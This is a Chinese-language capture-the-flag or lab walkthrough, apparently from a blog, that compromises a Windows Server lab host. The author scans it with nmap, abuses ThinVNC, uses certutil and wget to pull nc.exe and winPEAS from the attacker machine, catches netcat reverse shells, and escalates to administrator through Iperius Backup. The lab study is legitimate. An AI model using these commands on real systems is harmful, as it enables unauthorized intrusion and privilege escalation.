試試這一台靶機:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 23:37 EDT
Nmap scan report for 172.16.1.112
Host is up (0.063s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.67 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p3389 -sC -sV -O -A 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 23:38 EDT
Nmap scan report for 172.16.1.112
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: text/html
| Content-Length: 177
| Connection: Keep-Alive
| <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL nice%20ports%2C/Tri%6Eity.txt%2ebak was not found on this server.<P></BODY></HTML>
| GetRequest:
| HTTP/1.1 401 Access Denied
| Content-Type: text/html
| Content-Length: 144
| Connection: Keep-Alive
| WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="4I4ihm/55UCI1zECb/nlQA==", opaque="3WRbb2HCPYbAJLQID7pshR55ixhDf859iP"
|_ <HTML><HEAD><TITLE>401 Access Denied</TITLE></HEAD><BODY><H1>401 Access Denied</H1>The requested URL requires authorization.<P></BODY></HTML>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.93%I=7%D=3/17%Time=64153241%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,179,"HTTP/1\.1\x20401\x20Access\x20Denied\r\nContent-Type:\x20
SF:text/html\r\nContent-Length:\x20144\r\nConnection:\x20Keep-Alive\r\nWWW
SF:-Authenticate:\x20Digest\x20realm=\"ThinVNC\",\x20qop=\"auth\",\x20nonc
SF:e=\"4I4ihm/55UCI1zECb/nlQA==\",\x20opaque=\"3WRbb2HCPYbAJLQID7pshR55ixh
SF:Df859iP\"\r\n\r\n<HTML><HEAD><TITLE>401\x20Access\x20Denied</TITLE></HE
SF:AD><BODY><H1>401\x20Access\x20Denied</H1>The\x20requested\x20URL\x20\x2
SF:0requires\x20authorization\.<P></BODY></HTML>\r\n")%r(FourOhFourRequest
SF:,111,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\
SF:nContent-Length:\x20177\r\nConnection:\x20Keep-Alive\r\n\r\n<HTML><HEAD
SF:><TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><H1>404\x20Not\x20Found
SF:</H1>The\x20requested\x20URL\x20nice%20ports%2C/Tri%6Eity\.txt%2ebak\x2
SF:0was\x20not\x20found\x20on\x20this\x20server\.<P></BODY></HTML>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 62.57 ms 192.168.200.1
2 12.16 ms 172.16.1.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.21 seconds
開啟burp suite:
因為3389有看到thinvnc字樣，所以看一下，只要打個.，就可以自己連自己:
想辦法叫出cmd，thinvnc這鬼東西真是超難用:
kali找一下reverse shell的檔案:
把windows用的nc複製過來:
下圖是windows版wget的用法，讓靶機windows下載上圖的nc.exe，方便reverse shell:
看看windows的話reverse shell要怎麼下:
同樣先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 8073
listening on [any] 8073 ...
把剛剛的指令複製貼上:
彈回:
┌──(root㉿kali)-[~]
└─# nc -lvnp 8073
listening on [any] 8073 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.112] 49675
Microsoft Windows [▒▒▒▒ 10.0.14393]
(c) 2016 Microsoft Corporation. ▒ۧ@▒v▒Ҧ▒▒A▒ëO▒d▒@▒▒▒v▒Q▒C
C:\Users\tinvnc>
getshell後，就是想辦法提權，真正的windows版wget:
複製:
一樣讓靶機下載下來:
C:\Users\tinvnc>certutil.exe -urlcache -f http://192.168.200.7/wget.exe wget.exe
certutil.exe -urlcache -f http://192.168.200.7/wget.exe wget.exe
**** ▒u▒W ****
CertUtil: -URLCache ▒R▒O▒▒▒\▒▒▒▒▒C
C:\Users\tinvnc>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Users\tinvnc ▒▒▒ؿ▒
2023/03/18 ▒U▒▒ 12:26 <DIR> .
2023/03/18 ▒U▒▒ 12:26 <DIR> ..
2022/05/28 ▒U▒▒ 01:01 <DIR> Contacts
2022/05/28 ▒U▒▒ 01:03 <DIR> Desktop
2022/05/28 ▒U▒▒ 01:01 <DIR> Documents
2022/05/28 ▒U▒▒ 01:02 <DIR> Downloads
2022/05/28 ▒U▒▒ 01:01 <DIR> Favorites
2022/05/28 ▒U▒▒ 01:01 <DIR> Links
2022/05/28 ▒U▒▒ 01:01 <DIR> Music
2023/03/18 ▒U▒▒ 12:14 59,392 nc.exe
2022/05/28 ▒U▒▒ 01:01 <DIR> Pictures
2022/05/28 ▒U▒▒ 01:01 <DIR> Saved Games
2022/05/28 ▒U▒▒ 01:01 <DIR> Searches
2022/05/28 ▒U▒▒ 01:01 <DIR> Videos
2023/03/18 ▒U▒▒ 12:26 308,736 wget.exe
2 ▒▒▒ɮ▒ 368,128 ▒줸▒▒
13 ▒ӥؿ▒ 124,339,032,064 ▒줸▒եi▒▒
下載windows專用枚舉工具:
下載windows專用枚舉工具:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
--2023-03-18 00:31:19-- https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github.com/carlospolop/PEASS-ng/releases/download/20230312/winPEASany_ofs.exe [following]
--2023-03-18 00:31:20-- https://github.com/carlospolop/PEASS-ng/releases/download/20230312/winPEASany_ofs.exe
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/d4b61227-dae6-43d4-bd06-2d71672d9f8c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230318T043118Z&X-Amz-Expires=300&X-Amz-Signature=7cb6cdd41dda0ba80c1b3b9206ad1c0156a2762ee9597426e8a5f2f07fdc4c01&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3DwinPEASany_ofs.exe&response-content-type=application%2Foctet-stream [following]
--2023-03-18 00:31:20-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/d4b61227-dae6-43d4-bd06-2d71672d9f8c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230318T043118Z&X-Amz-Expires=300&X-Amz-Signature=7cb6cdd41dda0ba80c1b3b9206ad1c0156a2762ee9597426e8a5f2f07fdc4c01&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3DwinPEASany_ofs.exe&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1834496 (1.7M) [application/octet-stream]
Saving to: ‘winPEASany_ofs.exe’
winPEASany_ofs.exe 100%[===============================>] 1.75M 4.51MB/s in 0.4s
2023-03-18 00:31:21 (4.51 MB/s) - ‘winPEASany_ofs.exe’ saved [1834496/1834496]
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv winPEASany_ofs.exe winpeas.exe
讓靶機下載下來:
C:\Users\tinvnc>wget http://192.168.200.7/winpeas.exe
wget http://192.168.200.7/winpeas.exe
--12:34:56-- http://192.168.200.7/winpeas.exe
=> `winpeas.exe'
Connecting to 192.168.200.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,834,496 [application/x-msdos-program]
0K .......... .......... .......... .......... .......... 2% 1.04 MB/s
50K .......... .......... .......... .......... .......... 5% 3.05 MB/s
100K .......... .......... .......... .......... .......... 8% 3.26 MB/s
150K .......... .......... .......... .......... .......... 11% 3.05 MB/s
200K .......... .......... .......... .......... .......... 13% 3.26 MB/s
250K .......... .......... .......... .......... .......... 16% 3.05 MB/s
300K .......... .......... .......... .......... .......... 19% 3.05 MB/s
350K .......... .......... .......... .......... .......... 22% 48.83 MB/s
400K .......... .......... .......... .......... .......... 25% 3.05 MB/s
450K .......... .......... .......... .......... .......... 27% 3.26 MB/s
500K .......... .......... .......... .......... .......... 30% 3.05 MB/s
550K .......... .......... .......... .......... .......... 33% 3.26 MB/s
600K .......... .......... .......... .......... .......... 36% 48.83 MB/s
650K .......... .......... .......... .......... .......... 39% 3.05 MB/s
700K .......... .......... .......... .......... .......... 41% 3.05 MB/s
750K .......... .......... .......... .......... .......... 44% 3.26 MB/s
800K .......... .......... .......... .......... .......... 47% 48.83 MB/s
850K .......... .......... .......... .......... .......... 50% 3.05 MB/s
900K .......... .......... .......... .......... .......... 53% 3.05 MB/s
950K .......... .......... .......... .......... .......... 55% 3.05 MB/s
1000K .......... .......... .......... .......... .......... 58% 48.83 MB/s
1050K .......... .......... .......... .......... .......... 61% 2.87 MB/s
1100K .......... .......... .......... .......... .......... 64% 3.05 MB/s
1150K .......... .......... .......... .......... .......... 66% 48.83 MB/s
1200K .......... .......... .......... .......... .......... 69% 3.05 MB/s
1250K .......... .......... .......... .......... .......... 72% 3.05 MB/s
1300K .......... .......... .......... .......... .......... 75% 48.83 MB/s
1350K .......... .......... .......... .......... .......... 78% 3.05 MB/s
1400K .......... .......... .......... .......... .......... 80% 3.26 MB/s
1450K .......... .......... .......... .......... .......... 83% 3.05 MB/s
1500K .......... .......... .......... .......... .......... 86% 48.83 MB/s
1550K .......... .......... .......... .......... .......... 89% 3.26 MB/s
1600K .......... .......... .......... .......... .......... 92% 3.05 MB/s
1650K .......... .......... .......... .......... .......... 94% 3.05 MB/s
1700K .......... .......... .......... .......... .......... 97% 48.83 MB/s
1750K .......... .......... .......... .......... . 100% 2.53 MB/s
12:34:56 (3.70 MB/s) - `winpeas.exe' saved [1834496/1834496]
C:\Users\tinvnc>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Users\tinvnc ▒▒▒ؿ▒
2023/03/18 ▒U▒▒ 12:34 <DIR> .
2023/03/18 ▒U▒▒ 12:34 <DIR> ..
2022/05/28 ▒U▒▒ 01:01 <DIR> Contacts
2022/05/28 ▒U▒▒ 01:03 <DIR> Desktop
2022/05/28 ▒U▒▒ 01:01 <DIR> Documents
2022/05/28 ▒U▒▒ 01:02 <DIR> Downloads
2022/05/28 ▒U▒▒ 01:01 <DIR> Favorites
2022/05/28 ▒U▒▒ 01:01 <DIR> Links
2022/05/28 ▒U▒▒ 01:01 <DIR> Music
2023/03/18 ▒U▒▒ 12:14 59,392 nc.exe
2022/05/28 ▒U▒▒ 01:01 <DIR> Pictures
2022/05/28 ▒U▒▒ 01:01 <DIR> Saved Games
2022/05/28 ▒U▒▒ 01:01 <DIR> Searches
2022/05/28 ▒U▒▒ 01:01 <DIR> Videos
2023/03/18 ▒U▒▒ 12:26 308,736 wget.exe
2023/03/12 ▒U▒▒ 12:31 1,834,496 winpeas.exe
3 ▒▒▒ɮ▒ 2,202,624 ▒줸▒▒
13 ▒ӥؿ▒ 124,335,992,832 ▒줸▒եi▒▒
執行:(winpeas的執行結果一樣太長所以不貼)
看看目前的執行程式:
C:\Users\tinvnc>tasklist
tasklist
▒M▒▒▒W▒▒ PID ▒u▒@▒▒▒q▒W▒▒ ▒u▒@▒▒▒q # RAM▒ϥζq
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 4 K
System 4 Services 0 140 K
smss.exe 316 Services 0 1,188 K
csrss.exe 416 Services 0 4,220 K
csrss.exe 500 Console 1 7,012 K
wininit.exe 524 Services 0 5,148 K
winlogon.exe 556 Console 1 9,044 K
services.exe 636 Services 0 8,080 K
lsass.exe 652 Services 0 13,536 K
svchost.exe 744 Services 0 19,472 K
svchost.exe 816 Services 0 10,460 K
dwm.exe 904 Console 1 56,152 K
svchost.exe 936 Services 0 50,936 K
svchost.exe 944 Services 0 11,736 K
svchost.exe 1008 Services 0 23,652 K
svchost.exe 452 Services 0 19,448 K
svchost.exe 764 Services 0 9,680 K
svchost.exe 1220 Services 0 19,904 K
svchost.exe 1280 Services 0 16,356 K
svchost.exe 1356 Services 0 20,020 K
svchost.exe 1364 Services 0 7,336 K
VSSVC.exe 1408 Services 0 7,892 K
svchost.exe 1816 Services 0 6,560 K
spoolsv.exe 1904 Services 0 15,604 K
svchost.exe 1600 Services 0 17,456 K
svchost.exe 1884 Services 0 20,320 K
MsMpEng.exe 1964 Services 0 86,220 K
svchost.exe 1992 Services 0 7,996 K
RuntimeBroker.exe 3248 Console 1 20,356 K
sihost.exe 3284 Console 1 19,508 K
svchost.exe 3316 Console 1 19,496 K
taskhostw.exe 3344 Console 1 15,244 K
explorer.exe 3652 Console 1 84,224 K
ShellExperienceHost.exe 3876 Console 1 57,128 K
SearchUI.exe 3960 Console 1 53,104 K
ThinVnc.exe 3192 Console 1 29,664 K
msdtc.exe 3852 Services 0 9,396 K
Taskmgr.exe 436 Console 1 37,820 K
cmd.exe 4124 Console 1 3,300 K
conhost.exe 4752 Console 1 22,888 K
svchost.exe 4628 Services 0 7,196 K
nc.exe 2528 Console 1 4,548 K
cmd.exe 2876 Console 1 3,964 K
tasklist.exe 2000 Console 1 7,920 K
WmiPrvSE.exe 4136 Services 0 8,504 K
要注意msdtc.exe。另外的方式:
C:\Users\tinvnc>cd /
cd /
C:\>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\ ▒▒▒ؿ▒
2016/07/16 ▒U▒▒ 09:23 <DIR> PerfLogs
2016/11/23 ▒W▒▒ 07:19 <DIR> Program Files
2022/05/28 ▒U▒▒ 01:43 <DIR> Program Files (x86)
2022/05/28 ▒U▒▒ 01:01 <DIR> Users
2022/05/28 ▒U▒▒ 12:56 <DIR> Windows
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
5 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\>cd "program files"
cd "program files"
C:\Program Files>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files ▒▒▒ؿ▒
2016/11/23 ▒W▒▒ 07:19 <DIR> .
2016/11/23 ▒W▒▒ 07:19 <DIR> ..
2016/07/16 ▒U▒▒ 09:23 <DIR> Common Files
2016/11/23 ▒W▒▒ 07:09 <DIR> Internet Explorer
2016/11/23 ▒W▒▒ 06:40 <DIR> Windows Defender
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Mail
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Media Player
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Multimedia Platform
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows NT
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Photo Viewer
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Portable Devices
2016/07/16 ▒U▒▒ 09:23 <DIR> WindowsPowerShell
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
12 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\Program Files>cd ..
cd ..
C:\>cd "program files(x86)"
cd "program files(x86)"
▒t▒Χ䤣▒▒▒w▒▒▒▒|▒C
C:\>cd "program files (x86)"
cd "program files (x86)"
C:\Program Files (x86)>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files (x86) ▒▒▒ؿ▒
2022/05/28 ▒U▒▒ 01:43 <DIR> .
2022/05/28 ▒U▒▒ 01:43 <DIR> ..
2016/07/16 ▒U▒▒ 09:23 <DIR> Common Files
2016/11/23 ▒W▒▒ 07:09 <DIR> Internet Explorer
2022/05/28 ▒U▒▒ 01:43 <DIR> Iperius Backup
2016/07/16 ▒U▒▒ 09:23 <DIR> Microsoft.NET
2016/11/23 ▒W▒▒ 06:40 <DIR> Windows Defender
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Mail
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Media Player
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Multimedia Platform
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows NT
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Photo Viewer
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Portable Devices
2016/07/16 ▒U▒▒ 09:23 <DIR> WindowsPowerShell
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
14 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\Program Files (x86)>cd "Iperius Backup"
cd "Iperius Backup"
C:\Program Files (x86)\Iperius Backup>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files (x86)\Iperius Backup ▒▒▒ؿ▒
2022/05/28 ▒U▒▒ 01:43 <DIR> .
2022/05/28 ▒U▒▒ 01:43 <DIR> ..
2019/04/16 ▒U▒▒ 05:55 1,338,504 complib.dll
2019/05/11 ▒U▒▒ 06:05 69,393,648 Iperius.exe
2019/05/11 ▒U▒▒ 06:05 9,575,696 IperiusService.exe
2019/04/16 ▒U▒▒ 05:55 48,060 License_Eng.rtf
2022/05/28 ▒U▒▒ 01:43 5,633 unins000.dat
2022/05/28 ▒U▒▒ 01:43 1,244,952 unins000.exe
2022/05/28 ▒U▒▒ 01:43 22,831 unins000.msg
2017/02/06 ▒U▒▒ 06:48 386,744 UninstallerEx.exe
8 ▒▒▒ɮ▒ 82,016,068 ▒줸▒▒
2 ▒ӥؿ▒ 124,335,669,248 ▒줸▒եi▒▒
C:\Program Files (x86)\Iperius Backup>Iperius.exe
Iperius.exe
總之Iperius很可疑，先執行它:
打開:
照以下順序操作:
隨便選:
這裡也是隨便選:
也是隨便選:
這裡是重點:
外部文件的內容如下:
注意上面應該改成tinvnc，儲存如下:
反藍後右鍵，按下圖紅線處:
最瞎的地方是，即使不是管理員，還是可以用管理員權限執行任意檔案:
反彈，而且是管理員權限:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nc -lvnp 8074
listening on [any] 8074 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.112] 49679
Microsoft Windows [▒▒▒▒ 10.0.14393]
(c) 2016 Microsoft Corporation. ▒ۧ@▒v▒Ҧ▒▒A▒ëO▒d▒@▒▒▒v▒Q▒C
C:\Users\tinvnc>
 _@tsungtingdu_https://static.coderbridge.com/images/covers/default-post-cover-1.jpg)
